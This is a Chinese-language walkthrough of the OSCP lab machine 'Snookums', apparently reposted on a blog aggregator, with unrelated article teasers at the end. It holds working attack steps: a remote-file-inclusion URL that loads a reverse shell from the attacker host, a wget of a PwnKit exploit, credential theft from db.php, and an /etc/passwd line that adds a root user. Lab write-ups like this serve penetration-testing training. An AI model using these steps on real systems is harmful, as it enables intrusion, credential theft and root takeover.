OSCP靶场--Snookums

OSCP靶场–Snookums

考点(RFI+信息收集+数据库发现凭据+bas64解码+su切换用户+/etc/passwd覆盖提权)

1.nmap扫描

##┌──(root㉿kali)-[~/Desktop]
└─# nmap 192.168.216.58 -sV -sC  -Pn --min-rate 2500 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-30 03:39 EDT
Nmap scan report for 192.168.216.58
Host is up (0.42s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.45.171
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:79:67:12:c7:ec:13:3a:96:bd:d3:b4:7c:f3:95:15 (RSA)
|   256 a8:a3:a7:88:cf:37:27:b5:4d:45:13:79:db:d2:ba:cb (ECDSA)
|_  256 f2:07:13:19:1f:29:de:19:48:7c:db:45:99:f9:cd:3e (ED25519)
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Simple PHP Photo Gallery
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp   open  netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp  open  mysql       MySQL (unauthorized)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-03-30T07:41:28
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.10.4)
|   Computer name: snookums
|   NetBIOS computer name: SNOOKUMS\x00
|   Domain name: \x00
|   FQDN: snookums
|_  System time: 2024-03-30T03:41:26-04:00Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 196.09 seconds

2.user priv

## 目录扫描:
┌──(root㉿kali)-[~/Desktop]
└─# dirsearch --url http://192.168.216.58/                                     
[03:49:40] 200 -    4KB - /README.txt                                        
[03:51:25] 403 -  210B  - /cgi-bin/                                          
[03:51:51] 301 -  234B  - /css  ->  http://192.168.216.58/css/               
[03:51:58] 200 -    0B  - /db.php                                            
[03:52:45] 200 -    1KB - /image.php                                         
[03:52:46] 200 -    3KB - /images/                                           
[03:52:46] 301 -  237B  - /images  ->  http://192.168.216.58/images/         
[03:52:47] 200 -    3KB - /index.php                                         
[03:52:48] 200 -    3KB - /index.php/login/                                  
[03:52:50] 200 -    2KB - /js/                                               
[03:52:53] 200 -   18KB - /license.txt                                       
[03:53:10] 301 -  237B  - /photos  ->  http://192.168.216.58/photos/         Task Completed   ################
## 发现存在RFI漏洞:
https://www.exploit-db.com/exploits/48424##
┌──(root㉿kali)-[~/Desktop]
└─# searchsploit simplephpgal
-------------------------------------------------------------------------------- ---------------------------------Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
SimplePHPGal 0.7 - Remote File Inclusion                                        | php/webapps/48424.txt
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results#####
## webshell布置于kali http服务器:修改反弹ip与反弹port:
https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php##
┌──(root㉿kali)-[~/Desktop]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.216.58 - - [30/Mar/2024 04:27:01] "GET /rshell.php HTTP/1.0" 200 -## 浏览器访问:
http://192.168.216.58/image.php?img=http://192.168.45.171/rshell.php┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 445
listening on [any] 445 ...
192.168.216.58: inverse host lookup failed: Unknown host
connect to [192.168.45.171] from (UNKNOWN) [192.168.216.58] 50944
Linux snookums 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux04:27:01 up  8:46,  0 users,  load average: 0.16, 0.08, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

google搜索漏洞exp:版本对不上,但是手动测试发现漏洞存在:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3. root priv

3.1 CVE-2021-4034提权:

### linpeas枚举:
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester                                                                [+] [CVE-2016-5195] dirtycowDetails: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExposure: highly probableTags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},[ RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7} ],ubuntu=16.04|14.04|12.04Download URL: https://www.exploit-db.com/download/40611Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh[+] [CVE-2016-5195] dirtycow 2Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExposure: highly probableTags: debian=7|8,[ RHEL=5|6|7 ],ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}Download URL: https://www.exploit-db.com/download/40839ext-url: https://www.exploit-db.com/download/40847Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh[+] [CVE-2021-4034] PwnKitDetails: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txtExposure: less probableTags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaroDownload URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main######
##
bash-4.2$ wget http://192.168.45.171/CVE-2021-4034.py
wget http://192.168.45.171/CVE-2021-4034.py
--2024-03-30 04:40:47--  http://192.168.45.171/CVE-2021-4034.py
Connecting to 192.168.45.171:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3262 (3.2K) [text/x-python]
Saving to: 'CVE-2021-4034.py'100%[======================================>] 3,262       --.-K/s   in 0.001s  2024-03-30 04:40:48 (2.70 MB/s) - 'CVE-2021-4034.py' saved [3262/3262]bash-4.2$ chmod +x ./CVE-2021-4034.py
chmod +x ./CVE-2021-4034.py
bash-4.2$ python ./CVE-2021-4034.py
python ./CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
[root@snookums tmp]# id
id
uid=0(root) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
[root@snookums tmp]# cat /root/proof.txt
cat /root/proof.txt
fb08de43a6276a2636cd5521532fbf43
[root@snookums tmp]# 

在这里插入图片描述

3.2 信息收集,数据库凭据提权/etc/passwd覆盖:

## 发现数据库凭据:
bash-4.2$ cd /var/www/html                                                                                                                                                                                                                  
cd /var/www/html                                                                                                                                                                                                                            
bash-4.2$ ls                                                                                                                                                                                                                                
ls
README.txt               image.php    phpGalleryConfig.php
UpgradeInstructions.txt  images       phpGalleryStyle-RED.css
css                      index.php    phpGalleryStyle.css
db.php                   js           phpGallery_images
embeddedGallery.php      license.txt  phpGallery_thumbs
functions.php            photos       thumbnail_generator.php
bash-4.2$ cat db.php
cat db.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'MalapropDoffUtilize1337');
define('DBNAME', 'SimplePHPGal');
?>bash-4.2$ mysql -uroot -p
mysql -uroot -p
Enter password: MalapropDoffUtilize1337mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| SimplePHPGal       |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.00 sec)mysql> use SimplePHPGal
use SimplePHPGal
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
mysql> show tables;
show tables;
+------------------------+
| Tables_in_SimplePHPGal |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.00 sec)mysql> select * from users;
select * from users;
+----------+----------------------------------------------+
| username | password                                     |
+----------+----------------------------------------------+
| josh     | VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0= |
| michael  | U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==     |
| serena   | VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ==     |
+----------+----------------------------------------------+
3 rows in set (0.00 sec)## bas64解码2次:
┌──(root㉿kali)-[~/Desktop]
└─# echo 'VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0=' | base64 -d
TW9iaWxpemVIaXNzU2VlZHRpbWU3NDc=                                                                                                                                                                                                                                            ┌──(root㉿kali)-[~/Desktop]
└─# echo 'TW9iaWxpemVIaXNzU2VlZHRpbWU3NDc=' | base64 -d
MobilizeHissSeedtime747  ##
┌──(root㉿kali)-[~/Desktop]
└─# echo 'U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==' | base64 -d | base64 -d
HockSydneyCertify123 ##
┌──(root㉿kali)-[~/Desktop]
└─# echo 'VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ==' | base64 -d | base64 -d
OverallCrestLean000  #####################
##  发现michael用户:
bash-4.2$ cat /etc/passwd | grep -v nologin
cat /etc/passwd | grep -v nologin
root:x:0:0:root:/root:/bin/bash
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
michael:x:1000:1000:Michael:/home/michael:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false################################
## su切换用户:
bash-4.2$ su michael
su michael
Password: HockSydneyCertify123[michael@snookums html]$ whoami
whoami
michael################################
##  linpeas枚举:
╔══════════╣ Permissions in init, init.d, systemd, and rc.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d                                                                                                                                             ═╣ Hashes inside passwd file? ........... No
═╣ Writable passwd file? ................ /etc/passwd is writable                                                                                                                                                                           
═╣ Credentials in fstab/mtab? ........... No
═╣ Can I read shadow files? ............. No                                                                                                                                                                                                
═╣ Can I read shadow plists? ............ No                                                                                                                                                                                                
═╣ Can I write shadow plists? ........... No                                                                                                                                                                                                
═╣ Can I read opasswd file? ............. No                                                                                                                                                                                                
═╣ Can I write in network-scripts? ...... No                                                                                                                                                                                                
═╣ Can I read root folder? .............. No  #################################################
## 在/etc/passwd中添加新用户:
##
echo 'root1:$1$0u9R34Oq$BL8AGWccOv95x6nX2A2bT1:0:0:root1:/root:/bin/bash' >> /etc/passwd############
##
[michael@snookums tmp]$ echo 'root1:$1$0u9R34Oq$BL8AGWccOv95x6nX2A2bT1:0:0:root1:/root:/bin/bash' >> /etc/passwd
<WccOv95x6nX2A2bT1:0:0:root1:/root:/bin/bash' >> /etc/passwd                 [michael@snookums tmp]$ tail -n 1 /etc/passwd
tail -n 1 /etc/passwd
root1:$1$0u9R34Oq$BL8AGWccOv95x6nX2A2bT1:0:0:root1:/root:/bin/bash## 切换用户
[michael@snookums tmp]$ su root1
su root1
Password: pass@123##
[root@snookums tmp]# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

4.总结:

## 信息收集,数据库发现凭据+bas64解码+su切换用户+/etc/passwd覆盖提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/781462.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

期货开户要找到适合自己的系统

物有一个生物圈&#xff0c;大鱼吃小鱼&#xff0c;小鱼吃虾。在期货市场这条生物圈里面&#xff0c;大部分人就是期货市场的虾子&#xff0c;是被吃的&#xff0c;所以必须成长起来&#xff0c;往更高一层走&#xff0c;到可以吃虾子的时候&#xff0c;就是挣钱的时候。学习不…

SpringBoot整合腾讯云邮件发送服务非STMP

SpringBoot整合腾讯云邮箱服务 1、pom配置 <!-- 腾讯云邮箱服务--><dependency><groupId>com.tencentcloudapi</groupId><artifactId>tencentcloud-sdk-java</artifactId><!-- go to https://search.maven.org/search?qtencen…

C++基础之虚函数(十七)

一.什么是多态 多态是在有继承关系的类中&#xff0c;调用同一个指令&#xff08;函数&#xff09;&#xff0c;不同对象会有不同行为。 二.什么是虚函数 概念&#xff1a;首先虚函数是存在于类的成员函数中&#xff0c;通过virtual关键字修饰的成员函数叫虚函数。 性质&am…

Acunetix v24.3 (Linux, Windows) - Web 应用程序安全测试

Acunetix v24.3 (Linux, Windows) - Web 应用程序安全测试 Acunetix | Web Application Security Scanner 请访问原文链接&#xff1a;https://sysin.org/blog/acunetix/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sysin.org 重要提…

PS从入门到精通视频各类教程整理全集,包含素材、作业等(3)复发

PS从入门到精通视频各类教程整理全集&#xff0c;包含素材、作业等 最新PS以及插件合集&#xff0c;可在我以往文章中找到 由于阿里云盘有分享次受限制和文件大小限制&#xff0c;今天先分享到这里&#xff0c;后续持续更新 中级教程 https://www.alipan.com/s/unii5YxtM8B 提…

V R虚拟现实元宇宙的前景|虚拟现实体验店加 盟合作|V R设备在线购买

VR&#xff08;虚拟现实&#xff09;技术作为一种新兴的技术&#xff0c;正在逐渐改变人们的生活和工作方式。随着技术的不断进步&#xff0c;人们对于元宇宙的概念也越来越感兴趣。元宇宙是一个虚拟世界&#xff0c;通过VR技术可以实现人们在其中进行各种活动和交互。 元宇宙的…

【JAVA】精密逻辑控制过程(分支和循环语句)

✅作者简介&#xff1a;大家好&#xff0c;我是橘橙黄又青&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a; 橘橙黄又青-CSDN博客 目标&#xff1a; 1. Java 中程序的逻辑控制语句 2. Java 中的输入输出方式 3. 完成…

22 多态

目录 多态的概念多态的定义及实现抽象类多态的原理单继承和多继承关系中的虚函数表继承和多态常见的面试问题 前言 需要声明的&#xff0c;下面的代码和解释的哦朴实vs2013x86环境&#xff0c;涉及指针是4bytes&#xff0c;如果要其他平台下&#xff0c;部分代码需要改动。比…

【尚硅谷周阳--JUC并发编程】【第十四章--ReentrantLock、ReentrantReadWriteLock、StampedLock讲解】

【尚硅谷周阳--JUC并发编程】【第十四章--ReentrantLock、ReentrantReadWriteLock、StampedLock讲解】 一、面试题二、简单聊聊ReentrantReadWriteLock1、是什么?1.1、读写锁说明1.2、演变1.3、读写锁意义和特点 2、特点2.1、优点2.2、code演示2.3、结论2.4、从写锁->读锁&…

安装 kubesphere 插件报错Error: UPGRADE FAILED: \“ks-minio\“ has no deployed releases

安装 kubesphere 插件报错Error: UPGRADE FAILED: “ks-minio” has no deployed releases TASK [common : Kubesphere | Creating manifests] ******************************** ok: [localhost] > (item{uname: ucustom-values-minio, ufile: ucustom-values-minio.yaml}…

什么是nginx正向代理和反向代理?

什么是代理&#xff1f; 代理(Proxy), 简单理解就是自己做不了的事情或实现不了的功能&#xff0c;委托别人去做。 什么是正向代理&#xff1f; 在nginx中&#xff0c;正向代理指委托者是客户端&#xff0c;即被代理的对象是客户端 在这幅图中&#xff0c;由于左边内网中…

第十四届蓝桥杯(八题C++ 题目+代码+注解)

目录 题目一&#xff08;日期统计 纯暴力&#xff09;&#xff1a; 代码&#xff1a; 题目二&#xff08;01串的熵 模拟&#xff09;&#xff1a; 代码&#xff1a; 题目三&#xff08;治炼金属&#xff09;&#xff1a; 代码&#xff1a; 题目四&#xff08;飞机降落 深度…

32-2 APP渗透 - 移动APP架构

前言 app渗透和web渗透最大的区别就是抓包不一样 一、客户端: 反编译: 静态分析的基础手段,将可执行文件转换回高级编程语言源代码的过程。可用于了解应用的内部实现细节,进行漏洞挖掘和算法分析等。调试: 排查软件错误的一种手段,用于分析应用内部原理和行为。篡改/重打…

机器学习理论知识补充

文章目录 1、什么是线性回归1.1、损失函数 2、什么是逻辑回归2.2、损失函数 案例来源 1、什么是线性回归 用一个例子来解释什么是线性回归比较容易理解 假设你想在商场开一家店&#xff0c;想提前预测一下开这家店会不会赚钱&#xff0c;就需要计算成本和收入&#xff0c;成本…

【2024系统架构设计】案例分析- 2 系统开发基础

目录 一 基础知识 二 真题 一 基础知识 1 结构化的需求分析 结构化特点:自顶向下,逐步分解,面向数据。 三大模型:

java将文件转成流文件返回给前端

环境&#xff1a;jdk1.8&#xff0c;springboot2.5.3,项目端口号&#xff1a;9100 1.待转换的文件 一、路径 二、文件内容 2.controller中代码 package com.example.pdf.controller;import com.example.pdf.service.GetFileStreamService; import org.springframework.web.b…

webpack练习之手写loader

手写一个style-loader来把样式文件插入head里面&#xff0c;准备工作 vue webpack就自己弄了&#xff0c;webpack的一些配置也自己配置好 一、创建index.css文件 .box{width: 100px;height: 100px;background-color: red; }然后在vue的main.js文件中引入它 二、创建自定义l…

Windows下载使用nc(netcat)命令

‘nc’ 不是内部或外部命令&#xff0c;也不是可运行的程序&#xff1f; 点击链接地址&#xff0c;下载压缩包。 完成后解压 使用方式&#xff08;三种&#xff09;&#xff1a; 1、直接双击exe使用 2、把这个exe放到cmd启动的默认路径下 放到默认路径下&#xff0c;使用nc&a…

时间滑动窗口限流

限流算法——时间滑动窗口 背景&#xff1a; 在当今的微服务架构中&#xff0c;会存在流量剧增的情况&#xff0c;需要适当的限流才能保证我们服务不会被打崩&#xff0c;因此一些限流组件就随之诞生&#xff0c;主流的接口限流组件&#xff0c;如 spring cloud alibaba sent…

图的基础和图的遍历(--蓝桥云)

图的基础概念 度数&#xff1a;出边入边的条数 有向边&#xff1a;有箭头 图的存储方式 //邻接表 List<int []> list[N] list<x>//存放x的所有出点的信息 list[i][j]{first,second}//其中first表示从i出发的某个出点的编号&#xff08;这个出点是i的第j个出点&…